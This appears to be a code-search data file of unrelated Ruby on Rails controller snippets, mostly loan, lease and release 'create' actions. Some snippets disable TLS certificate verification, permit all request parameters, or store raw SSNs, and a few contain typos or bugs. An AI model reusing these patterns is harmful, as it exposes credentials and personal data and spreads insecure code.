"def create_loan\n book = Book.find(params[:book_id])\n book_loan = Log.create!(user: current_user, book: book, classification: Log.classifications[:book_loan],\n date: DateTime.now, due_date: 3.weeks.from_now)\n render json: book_loan, book_loan: true, status: :created\n end",
"def create\n @loanable = current_user.loanables.new(loanable_params)\n\n respond_to do |format|\n if @loanable.save\n format.html { redirect_to users_loanable_path(@loanable), notice: 'Loanable was successfully created.' }\n format.json { render :show, status: :created, location: @loanable }\n else\n format.html { render :new }\n format.json { render json: @loanable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tombstone_timehold_params_from_lomat\n params.permit(:tombstoneJSON, :permanent, :rating)\n end",
"def createLoanRequest\n puts 'GOT REQUEST'\n puts params.inspect\n\n # Persist to the database for some reason\n req = LoanRequest.new\n req.ssn = params[:ssn]\n req.creditScore = params[:creditScore]\n req.loanAmount = params[:loanAmount]\n req.loanDuration = params[:loanDuration]\n req.save\n\n reply_to = request.headers['HTTP_REPLY_TO']\n\n #TODO: Get a job in a bank and find out how this are calculated\n randomInterestRate = randomInterest(1, 5).round(2)\n\n result = {\n interestRate: randomInterestRate,\n ssn: req.ssn\n }\n\n conn = Bunny.new\n conn.start\n ch = conn.create_channel\n q = ch.queue(reply_to)\n\n ch.default_exchange.publish(result.to_json, routing_key: q.name)\n\n render :json => result.to_json\n end",
"def create\n @release = @environment.releases.new(params[:release])\n\n respond_to do |format|\n if @release.save\n format.html { redirect_to @release, notice: 'Release was successfully created.' }\n format.json { render json: @release, status: :created, location: @release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def check_for_release\n\t \tcheck_count = 0\n\t \tmax_checks = configatron.lending_club.max_checks\n\t \tstarting_loan_list_size = fresh_loan_list.values[1].size\n\t \tputs \"starting_loan_list_size: #{starting_loan_list_size}\"\n\t \twhile check_count < max_checks\n\t \t\tcheck_count = check_count + 1\n\t \t\tputs \"check_for_release #{check_count}\"\n\t \t\tcurrent_loan_list_size = fresh_loan_list.values[1].size\n\t \t\tputs \"current_loan_list_size: #{current_loan_list_size}\"\n\t \t\tif current_loan_list_size > starting_loan_list_size \n\t \t\t\tputs \"Loans have been released. Preparing to purchasing loans.\"\n\t \t\t\t@pb.add_line(\"Pre-Filtered Loan Count: #{current_loan_list_size}\")\n\t \t\t\treturn true\n\t \t\tend\n\t \t\tputs \"Pre-Filtered Loan Count: #{current_loan_list_size}\"\n\t \t\tsleep(1) # wait X seconds before checking again\n\t \tend\n\t \t@pb.add_line(\"After #{check_count} checks the number of available loans remained at or below #{starting_loan_list_size}.\")\n\t \treturn false\n\t end",
"def create_loan\n # helper method to create a loan and return that loan\n options = { holder: test_holder, borrowed: 1000, term: 2, rate: 2 }\n # hash of key value pairs to initialise loan\n Loan.new(options, 5)\n # creates loan and returns it\n end",
"def create\n @loan = @tool.loans.new(create_loan_params)\n\n @loan.borrower_id = session[:student_id]\n @tool.update(:quantity => @tool.quantity - @loan.tool_quantity)\n @loan.accepted = false\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to home_path, notice: 'Loan was successfully created.' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(loan_params)\n @loan.amount = loan_params[:amount].gsub(/,/, '').to_f\n @loan.property_value = loan_params[:property_value].gsub(/,/, '').to_f\n\n if @loan.save\n # conduct first test for loan approval\n if @loan.ltv < 40\n @loan.update_attributes(:accepted => true)\n end\n redirect_to \"/loans/#{@loan.id}\"\n else\n flash[:error_hash] = @loan.errors.messages\n flash[:error] = @loan.errors.full_messages\n flash[:error_list] = @loan.errors.messages.keys\n redirect_to :back\n end\n end",
"def new\n @loan = Loan.new(\n :ower_id => params[:ower_id ],\n :creditor_id => params[:creditor_id],\n :tags => params[:tags ],\n :description => params[:description]\n )\n end",
"def create\n @loan = Loan.new(loan_params)\n @book = Book.find_by( params[:book_id] )\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to @loan, notice: 'Book successfully borrowed' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { redirect_to books_path, alert: 'Book not available' }\n end\n end\n end",
"def create\n @lodging = Lodging.new(:user_id => session[:user_id], :title => lodging_params[:title], :description => lodging_params[:description], :location => lodging_params[:location], :amenities => lodging_params[:amenities], :facilities => lodging_params[:facilities], :equipment => lodging_params[:equipment], :start_availability => lodging_params[:start_availability], :end_availability => lodging_params[:end_availability], :photo => lodging_params[:photo], :video => lodging_params[:video])\n\n respond_to do |format|\n if @lodging.save\n format.html { redirect_to @lodging, notice: \"Lodging was successfully created.\" }\n format.json { render :show, status: :created, location: @lodging }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @lodging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @livingsupply = Livingsupply.new(livingsupply_params)\n\n respond_to do |format|\n if @livingsupply.save\n format.html { redirect_to @livingsupply, notice: 'Livingsupply was successfully created.' }\n format.json { render :show, status: :created, location: @livingsupply }\n else\n format.html { render :new }\n format.json { render json: @livingsupply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(loan_params)\n respond_to do |format|\n if @loan.save\n Reservation.check_and_delete_reservation(@loan.user_id, @loan.book_id)\n if !params[:loan][:prev_loan_id].blank?\n prev_loan_id = params[:loan][:prev_loan_id]\n Loan.return_book(Loan.get_loan_by_id(prev_loan_id))\n end\n format.html { redirect_to loans_user_all_path(:id => @loan.user_id), notice: 'Výpůjčka byla úspěšně uložena do databáze.' }\n format.json { render :show, status: :created, location: @loan }\n else\n flash.now[:error] = @loan.errors.full_messages\n @users = User.all.order(:surname)\n @book_id = @loan.book_id\n @book = Book.search_by_czu_number(@book_id)\n @loan_length = Setting.get_loan_time\n @all_reservations = Reservation.get_all_book_reservations(@book_id).order(\"created_at ASC\")\n @reservation_count = @all_reservations.count\n format.html { render :new, error: 'Výpůjčka nebyla uložena do databáze.'}\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @persons_release = PersonsRelease.new(params[:persons_release])\n\n respond_to do |format|\n if @persons_release.save\n format.html { redirect_to @persons_release, notice: 'Persons release was successfully created.' }\n format.json { render json: @persons_release, status: :created, location: @persons_release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @persons_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(loan_params.merge(user: current_user))\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to books_path, notice: \"Book added to your library\" }\n else\n format.html { render :new, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user.id\n @space = Space.find(params[:space_id])\n @lease = Lease.new(params[:lease])\n respond_to do |format|\n if @lease.save\n format.html { redirect_to space_lease_path(@space,@lease), notice: 'Lease was successfully created.' }\n format.json { render json: @lease, status: :created, location: @lease }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lease.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tombstone_timehold = TombstoneTimehold.new(tombstone_timehold_params)\n\n respond_to do |format|\n if @tombstone_timehold.save\n format.html { redirect_to @tombstone_timehold, notice: 'Tombstone timehold was successfully created.' }\n format.json { render :show, status: :created, location: @tombstone_timehold }\n else\n format.html { render :new }\n format.json { render json: @tombstone_timehold.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lodging = Lodging.new(lodging_params)\n\n respond_to do |format|\n if @lodging.save\n format.html { redirect_to @lodging, notice: 'Lodging was successfully created.' }\n format.json { render :show, status: :created, location: @lodging }\n else\n format.html { render :new }\n format.json { render json: @lodging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def loan_params\n params.require(:loan).permit(:description, :value, :date, :taker_id, :provider_id)\n end",
"def new\n @player_loan = PlayerLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_loan }\n end\n end",
"def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end",
"def create\n #@lodging = Lodging.new(lodging_params)\n params.permit!\n @lodging = @travel.lodgings.new(params[:lodging])\n\n respond_to do |format|\n if @lodging.save\n #format.html { redirect_to @lodging, notice: 'Lodging was successfully created.' }\n format.html { redirect_to [@travel, @lodging], notice: 'Lodging was successfully created.' }\n format.json { render :show, status: :created, location: @lodging }\n else\n format.html { render :new }\n format.json { render json: @lodging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @release_loan = ReleaseLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def loan_params\n params.require(:loan).permit(:number, :date_loan, :state, :is_rendered, :borrower_id, :item_id, :owner_id)\n end",
"def create\n @cashier = Cashier.find(params[:cashier_id])\n @release = @cashier.releases.build(params[:release])\n\n #@release.date_release = post_date Date.today\n respond_to do |format|\n if @release.save\n format.html { redirect_to cashier_path(@cashier), notice: 'Release was successfully created.' }\n #format.html { redirect_to cashier_release_path(@release.cashier, @release), notice: 'Release was successfully created.' }\n format.json { render json: @release, status: :created, location: @release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lease = Lease.new(lease_params)\n authorize @lease\n respond_to do |format|\n if @lease.save\n format.html { redirect_to (params[:save_and_new].present? ? new_lease_path : @lease), success: I18n.t('notices.created', entity: Lease.model_name.human, id: @lease.id) }\n format.json { render :show, status: :created, location: @lease }\n else\n format.html { render :new }\n format.json { render json: @lease.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @holding = Holding.new(params[:holding])\n\n respond_to do |format|\n if @holding.save\n format.html { redirect_to @holding, notice: 'Holding was successfully created.' }\n format.json { render json: @holding, status: :created, location: @holding }\n else\n format.html { render action: \"new\" }\n format.json { render json: @holding.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(loan_params)\n\n respond_to do |format|\n if @loan.save\n @item = @loan.item\n format.html { redirect_to @item, notice: I18n.t('views.loan.created') }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @release_loan = ReleaseLoan.find(params[:id])\n @release_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to release_loans_url }\n format.json { head :no_content }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end",
"def create\n @loan = Loan.new loan_params\n\n if @loan.save\n redirect_to @loan\n else\n render 'new'\n end\n end",
"def create\n @bollywood = Bollywood.new(bollywood_params)\n\n respond_to do |format|\n if @bollywood.save\n format.html { redirect_to @bollywood, notice: 'Bollywood was successfully created.' }\n format.json { render :show, status: :created, location: @bollywood }\n else\n format.html { render :new }\n format.json { render json: @bollywood.errors, status: :unprocessabl2e_entity }\n end\n end\n end",
"def create\n banners = Banner.where(:id => params[:platform].delete(:banners))\n @platform = Platform.new(params[:platform])\n @platform.banners = banners\n\n respond_to do |format|\n if @platform.save\n format.html { redirect_to @platform, notice: 'Platform was successfully created.' }\n format.json { render json: @platform, status: :created, location: @platform }\n else\n format.html { render action: \"new\" }\n format.json { render json: @platform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lanparty = Lanparty.new(lanparty_params) \n\n respond_to do |format|\n if @lanparty.save\n format.html { redirect_to @lanparty, notice: 'Lanparty was successfully created.' }\n format.json { render :show, status: :created, location: @lanparty }\n else\n format.html { render :new }\n format.json { render json: @lanparty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @banned = Banned.new(banned_params)\n\n respond_to do |format|\n if @banned.save\n format.html { redirect_to @banned, notice: 'Banned was successfully created.' }\n format.json { render :show, status: :created, location: @banned }\n else\n format.html { render :new }\n format.json { render json: @banned.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(loan_params)\n\n respond_to do |format|\n if @loan.save\n book = @loan.book\n book.decrement(:quantity)\n book.save\n format.html { redirect_to @loan, notice: 'Loan was successfully created.' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lease = Lease.new(params[:lease])\n\n respond_to do |format|\n if @lease.save\n car = Car.where(:registration => @lease.registration).first\n car.update_attributes(:longtermassigned => true)\n format.html { redirect_to cars_url, :notice => 'Lease was successfully created.' }\n format.json { render :json => @lease, :status => :created, :location => @lease }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @lease.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @holding = Holding.new(params[:holding].merge(@yahoo_data))\n\n respond_to do |format|\n if @holding.save\n format.html { redirect_to @holding, notice: 'Holding was successfully created.' }\n format.json { render json: @holding, status: :created, location: @holding }\n else\n format.html { render action: \"new\" }\n format.json { render json: @holding.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @home_loan = HomeLoan.new(data: params[:home_loan])\n\n respond_to do |format|\n if @home_loan.save\n format.html { redirect_to @home_loan, notice: 'Home loan was successfully created.' }\n format.json { render :show, status: :created, location: @home_loan }\n else\n format.html { render :new }\n format.json { render json: @home_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @labelling = Labelling.new(params[:labelling])\n\n respond_to do |format|\n if @labelling.save\n format.html { redirect_to @labelling, notice: 'Labelling was successfully created.' }\n format.json { render json: @labelling, status: :created, location: @labelling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @labelling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan_installment = LoanInstallment.new(loan_installment_params)\n\n respond_to do |format|\n if @loan_installment.save\n format.html { redirect_to @loan_installment, notice: 'Loan installment was successfully created.' }\n format.json { render :show, status: :created, location: @loan_installment }\n else\n format.html { render :new }\n format.json { render json: @loan_installment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @holding = current_user.holdings.build(holding_params)\n\n respond_to do |format|\n if @holding.save\n format.html { redirect_to @holding, notice: 'Holding was successfully created.' }\n format.json { render :show, status: :created, location: @holding }\n else\n format.html { render :new }\n format.json { render json: @holding.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @release = Release.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end",
"def new\n @bill = @dwelling.bills.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end",
"def create\n @lading = Lading.new(lading_params)\n\n respond_to do |format|\n if @lading.save\n format.html { redirect_to @lading, notice: 'Lading was successfully created.' }\n format.json { render :show, status: :created, location: @lading }\n else\n format.html { render :new }\n format.json { render json: @lading.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end",
"def create\n @russian_roulette = RussianRoulette.new(russian_roulette_params)\n @russian_roulette.bulloc = @bulloc\n @russian_roulette.round = @round\n @russian_roulette.alive = @alive\n\n respond_to do |format|\n if @russian_roulette.save\n format.html { redirect_to @russian_roulette, notice: 'Russian roulette was successfully created.' }\n format.json { render :show, status: :created, location: @russian_roulette }\n else\n format.html { render :new }\n format.json { render json: @russian_roulette.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rink_league = RinkLeague.new(params[:rink_league])\n\n respond_to do |format|\n if @rink_league.save\n format.html { redirect_to @rink_league, notice: 'Rink league was successfully created.' }\n format.json { render json: @rink_league, status: :created, location: @rink_league }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rink_league.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ballot = Ballot.new(ballot_params)\n\n respond_to do |format|\n if @ballot.save\n format.html { redirect_to ballots_url, notice: 'Thank you for voting.' }\n format.json { render :show, status: :created, location: @ballot }\n else\n format.html { render :new }\n format.json { render json: @ballot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_mentorship_interest = Api::V1::MentorshipInterest.new(api_v1_mentorship_interest_params)\n\n respond_to do |format|\n if @api_v1_mentorship_interest.save\n format.html { redirect_to @api_v1_mentorship_interest, notice: 'Mentorship interest was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_mentorship_interest }\n else\n format.html { render :new }\n format.json { render json: @api_v1_mentorship_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @blivot = Blivot.new(blivot_params)\n\n respond_to do |format|\n if @blivot.save\n format.html { redirect_to @blivot, notice: 'Blivot was successfully created.' }\n format.json { render :show, status: :created, location: @blivot }\n else\n format.html { render :new }\n format.json { render json: @blivot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bottling = Bottling.new(params[:bottling])\n\n respond_to do |format|\n if @bottling.save\n format.html { redirect_to @bottling, notice: 'bottling was successfully created.' }\n format.json { render json: @bottling, status: :created, location: @bottling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bottling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def loanable_params\n params.require(:loanable).permit(:title, :description, :location, :contact, :end, :state, :url)\n end",
"def create\n @loan_management = LoanManagement.new(loan_management_params)\n\n respond_to do |format|\n if @loan_management.save\n format.html { redirect_to @loan_management, notice: 'Loan management was successfully created.' }\n format.json { render :show, status: :created, location: @loan_management }\n else\n format.html { render :new }\n format.json { render json: @loan_management.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bruger_id = current_user.id\n @bruger = Bruger.find_by_id(@bruger_id)\n @onske = Onske.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @onske }\n end\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def create\n @bill = @dwelling.bills.build(params[:bill])\n @bill.owner = current_user\n\n respond_to do |format|\n if @bill.save\n format.html { redirect_to bill_path(@bill), notice: 'Bill was successfully created.' }\n format.json { render json: @bill, status: :created, location: @bill }\n else\n\t\t\t\tformat.html { render :new }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan_type = LoanType.new(loan_type_params)\n\n respond_to do |format|\n if @loan_type.save\n format.html { redirect_to @loan_type, notice: 'Loan type was successfully created.' }\n format.json { render :show, status: :created, location: @loan_type }\n else\n format.html { render :new }\n format.json { render json: @loan_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bollywood = Bollywood.new(bollywood_params)\n\n respond_to do |format|\n if @bollywood.save\n format.html { redirect_to @bollywood, notice: 'Bollywood was successfully created.' }\n format.json { render :show, status: :created, location: @bollywood }\n else\n format.html { render :new }\n format.json { render json: @bollywood.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lumberjill = Lumberjill.new(lumberjill_params)\n\n respond_to do |format|\n if @lumberjill.save\n format.html { redirect_to @lumberjill, notice: 'Lumberjill was successfully created.' }\n format.json { render :show, status: :created, location: @lumberjill }\n else\n format.html { render :new }\n format.json { render json: @lumberjill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(params[:loan])\n\n respond_to do |format|\n if @loan.save\n flash[:notice] = 'Loan was successfully created.'\n format.html { redirect_to(@loan) }\n format.xml { render :xml => @loan, :status => :created, :location => @loan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @loan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lodge = Lodge.new(params[:lodge])\n\n respond_to do |format|\n if @lodge.save\n format.html { redirect_to @lodge, notice: 'Lodge was successfully created.' }\n format.json { render json: @lodge, status: :created, location: @lodge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lodge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @commit = params[:commit]\n @release = @environment.releases.new(\n commit0: @environment.last_commit,\n commit1: @commit)\n if @release.can_read_commits?\n @release.load_commits!\n @release.load_tickets!\n @release.build_changes_from_commits\n end\n if @release.changes.none?\n render :template => \"releases/new_pick_commit\"\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end\n end",
"def create\n @village = Village.new(params[:village])\n\n respond_to do |format|\n if @village.save\n format.html { redirect_to @village, notice: 'Village was successfully created.' }\n format.json { render json: @village, status: :created, location: @village }\n else\n format.html { render action: \"new\" }\n format.json { render json: @village.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Extract the version info\n release = params[:release]\n version = params[:release][:version]\n release.delete(\"version\")\n \n # Validate input\n if (release[:name] == \"\")\n flash[:notice] = \"You must supply a name for the release\"\n respond_to do |format|\n format.html { redirect_to :action => 'new' }\n format.json { head :no_content }\n end\n elsif (release[:source_url] == \"\")\n flash[:notice] = \"You must supply a source URL\"\n respond_to do |format|\n format.html { redirect_to :action => 'new' }\n format.json { head :no_content }\n end\n else\n # Add http:// prefix to source_url if it doesn't already exist\n release[:source_url] = \"http://#{release[:source_url]}\" if not release[:source_url].starts_with? \"http://\" and not release[:source_url].starts_with? \"https://\"\n \n @release = Release.new(release)\n @release.user = current_user\n \n # Add the version info\n # If the URL doesn't start with http:// or https://, add it\n version[:download_url] = \"http://#{version[:download_url]}\" if not version[:download_url].starts_with? \"http://\" and not version[:download_url].starts_with? \"https://\"\n \n @version = Version.new(version)\n @version.version_number = 1\n @version.release = @release\n @release.versions << @version\n\n respond_to do |format|\n if @release.save\n format.html { redirect_to @release, notice: 'Release was successfully created.' }\n format.json { render json: @release, status: :created, location: @release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def loan_params\n params.require(:loan).permit(:current_balance, :original_amount, :interest_rate, :periods_in_year, :user_id, :loan_name, :monthly_min_payment, :schedule_hash, :adj_schedule_hash)\n end",
"def create\n @labbranch = labbranch.new(params[:labbranch])\n\n respond_to do |format|\n if @labbranch.save\n format.html { redirect_to @labbranch, notice: 'labbranch was successfully created.' }\n format.json { render json: @labbranch, status: :created, location: @labbranch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @labbranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_loyalty_reward(body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/loyalty/rewards'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.post(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"def post_release_v2(app_name, slug, dyno_types, user, token,\n slug_url, repo_size)\n slug_url_regex = /https:\\/\\/(.+?)\\.s3\\.amazonaws\\.com\\/(.+?)\\?/\n _, slug_put_key, slug_put_bucket = slug_url.match(slug_url_regex).to_a\n start = Time.now\n payload = {\n # \"head\" => head,\n # \"prev_head\" => commit_hash,\n # \"current_seq\" => current_seq,\n \"slug_put_key\" => slug_put_key,\n \"slug_put_bucket\" => slug_put_bucket,\n \"repo_size\" => repo_size,\n \"release_descr\" => \"sokoban-built release\", # punting for v2\n \"language_pack\" => \"Sokoban\", # punting for v2\n \"buildpack\" => \"Sokoban\", # punting for v2\n \"slug_version\" => 2,\n \"slug_size\" => File.size(slug),\n \"stack\" => \"cedar\",\n \"user\" => user,\n \"process_types\" => dyno_types,\n \"git_log\" => \"\",\n \"run_deploy_hooks\" => false,\n \"addons\" => {},\n \"config_vars\" => {}}\n\n release_name =\n Timeout.timeout(30) do\n uri = URI.parse(release_uri(app_name))\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n if uri.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n request.basic_auth(user, token)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request.body = JSON.unparse(payload)\n response = http.request(request)\n if (response.code != \"200\")\n error_message = begin\n response.body && JSON.parse(response.body)[\"error\"] || \"failure releasing code\"\n rescue Timeout::Error\n \"timed out releasing code\"\n rescue\n \"failure releasing code\"\n end\n raise(error_message)\n end\n response.body\n end\n release_name\n end",
"def create\n @lager = Lager.new(lager_params)\n\n respond_to do |format|\n if @lager.save\n format.html { redirect_to @lager, notice: 'Lager was successfully created.' }\n format.json { render :show, status: :created, location: @lager }\n else\n format.html { render :new }\n format.json { render json: @lager.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reward_and_level = RewardAndLevel.new(reward_and_level_params)\n\n respond_to do |format|\n if @reward_and_level.save\n format.html { redirect_to @reward_and_level, notice: 'Reward and level was successfully created.' }\n format.json { render json: @reward_and_level, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @reward_and_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lodgement = Lodgement.new(lodgement_params)\n\n respond_to do |format|\n if @lodgement.save\n format.html { redirect_to @lodgement, notice: 'Lodgement was successfully created.' }\n format.json { render :show, status: :created, location: @lodgement }\n else\n format.html { render :new }\n format.json { render json: @lodgement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stronghold = Stronghold.new(stronghold_params)\n\n respond_to do |format|\n if @stronghold.save\n format.html { redirect_to @stronghold, notice: 'Stronghold was successfully created.' }\n format.json { render :show, status: :created, location: @stronghold }\n else\n format.html { render :new }\n format.json { render json: @stronghold.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lugar = Lugar.new(lugar_params)\n\n if @lugar.save\n render json: @lugar, status: :created, location: @lugar\n else\n render json: @lugar.errors, status: :unprocessable_entity\n end\n end",
"def loan_params\n params.require(:loan).permit(:name, :bank_id, :loan_type_id, :reference_rate)\n end",
"def create\n @plains_walker = PlainsWalker.new(plains_walker_params)\n\n respond_to do |format|\n if @plains_walker.save\n format.html { redirect_to @plains_walker, notice: 'Plains walker was successfully created.' }\n format.json { render :show, status: :created, location: @plains_walker }\n else\n format.html { render :new }\n format.json { render json: @plains_walker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lomein = Lomein.new(lomein_params)\n\n respond_to do |format|\n if @lomein.save\n format.html { redirect_to @lomein, notice: 'Lomein was successfully created.' }\n format.json { render :show, status: :created, location: @lomein }\n else\n format.html { render :new }\n format.json { render json: @lomein.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan_log = LoanLog.new(loan_log_params)\n\n respond_to do |format|\n if @loan_log.save\n format.html { redirect_to @loan_log, notice: 'Loan log was successfully created.' }\n format.json { render :show, status: :created, location: @loan_log }\n else\n format.html { render :new }\n format.json { render json: @loan_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tombstone_timehold_params\n params.require(:tombstone_timehold).permit(:tombstoneJSON, :permanent, :rating)\n end",
"def create\n @bowling = Bowling.new(bowling_params)\n\n respond_to do |format|\n if @bowling.save\n format.html { redirect_to @bowling, notice: 'Bowling was successfully created.' }\n format.json { render :show, status: :created, location: @bowling }\n else\n format.html { render :new }\n format.json { render json: @bowling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n owner = User.find_or_create params[:owner_id]\n name = params[:name]\n\n lobby = Lobby.create! owner: owner, name: name\n render json: lobby.as_json( only: [:id, :name] )\n end",
"def create\n @press_release = PressRelease.new(press_release_params)\n\n respond_to do |format|\n if @press_release.save\n format.html { redirect_to @press_release, notice: 'Press release was successfully created.' }\n format.json { render action: 'show', status: :created, location: @press_release }\n else\n format.html { render action: 'new' }\n format.json { render json: @press_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(params)\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(intranet(:koha_rest_api) + \"holds\")\n res = http.post(uri, params.to_json, headers)\n expect(res.code).to eq(\"201\"), \"got unexpected #{res.code} when adding hold.\\nResponse body: #{res.body}\"\n res.body\n end",
"def create\n @lease = Lease.new(params[:lease])\n\n respond_to do |format|\n if @lease.save\n format.html { redirect_to(@lease, :notice => 'Lease was successfully created.') }\n format.xml { render :xml => @lease, :status => :created, :location => @lease }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lease.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @bingo_hall = BingoHall.new(name: bingo_hall_params[:name])\n\n respond_to do |format|\n if @bingo_hall.save\n bingo_board = @bingo_hall.bingo_boards.create\n Player.create(name: bingo_hall_params[:player_name], bingo_board: bingo_board)\n format.html { redirect_to @bingo_hall, notice: \"Bingo hall was successfully created.\" }\n format.json { render :show, status: :created, location: @bingo_hall }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bingo_hall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pruning = Pruning.new(params[:pruning])\n\n respond_to do |format|\n if @pruning.save\n format.html { redirect_to @pruning, notice: 'Pruning was successfully created.' }\n format.json { render json: @pruning, status: :created, location: @pruning }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pruning.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @village = Village.new(village_params)\n\n respond_to do |format|\n if @village.save\n format.html { redirect_to @village, notice: 'Village was successfully created.' }\n format.json { render :show, status: :created, location: @village }\n else\n format.html { render :new }\n format.json { render json: @village.errors, status: :unprocessable_entity }\n end\n end\n end",
